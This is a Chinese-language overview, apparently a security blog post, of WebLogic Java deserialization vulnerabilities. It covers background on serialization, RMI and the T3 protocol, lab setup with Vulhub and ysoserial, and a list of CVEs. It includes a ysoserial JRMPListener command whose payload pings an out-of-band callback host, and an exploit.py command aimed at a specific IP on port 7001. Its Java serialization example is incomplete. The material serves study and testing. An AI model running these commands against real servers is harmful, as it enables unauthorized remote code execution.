Weblogic反序列化历史漏洞汇总

反序列化概述

概念

Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中。反序列化是指把字节序列恢复为 Java 对象的过程。
ObjectOutputStream类的 writeObject() 方法可以实现序列化。
ObjectInputStream 类的 readObject() 方法用于反序列化。

示例

public class test{
    public static void main(String args[]) throws Exception{
    //定义obj对象
    String obj = "hello world!";

    }
}

使用场景

1、http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
2、ServletsHTTP,Sockets,Session管理器包含的协议就包括JMX,RMI,JMS,JNDI等(\xac\xed)
3、xmlXstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
4、json(Jackson,fastjson) http请求中包含

漏洞研究环境

环境搭建

1、官网安装
注册账号,下载地址
http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html
2、Docker 安装
直接用Vulhub的镜像
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
安装完毕版本是 10.3.6.0,配置运行信息在地址内有详细说明。

Ysoserial——集合各种java反序列化payload

1、介绍
Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:
https://github.com/frohoff/ysoserial/

可见其有CommonsCollections、Groovy1、Jdk7u21、Spring等常见payload。通过对该攻击代码的分析,可以学习巧妙的构造方法和共同的利用特性:具体的payload分析见:
http://www.vuln.cn/6295

2、使用方法
2.1、在公网上选择一个端口进行流量监听:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1  'ping -c 2  rce.267hqw.ceye.io'

2.2、客户端发送payload

python exploit.py 118.89.53.139 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 118.89.53.139  1099 JRMPClient

解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。

前提知识

反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

RMI和JRMP协议

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。

T3协议

WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。

Weblogic反序列化漏洞汇总

Weblogic反序列化高危漏洞主要涉及到两个种类:
1、利用xml decoded反序列化进行远程代码执行的漏洞,例如:
CVE-2017-3506、CVE-2017-10271。
2、利用java反序列化进行远程代码执行的漏洞,例如:
CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2628、CVE-2018-2894

xml decoded反序列化RCE

CVE-2017-3506

漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。也是之前一段时间市面上挖矿主力军。

参考

weblogic 反序列化
Weblogic反序列化历史漏洞全汇总 https://cloud.tencent.com/developer/article/1516342
WebLogic 反序列化漏洞(CVE-2019-2890)分析https://paper.seebug.org/1069/
WebLogic反序列化漏洞CVE-2018-2628复现与EXP构造
https://www.freebuf.com/vuls/169420.html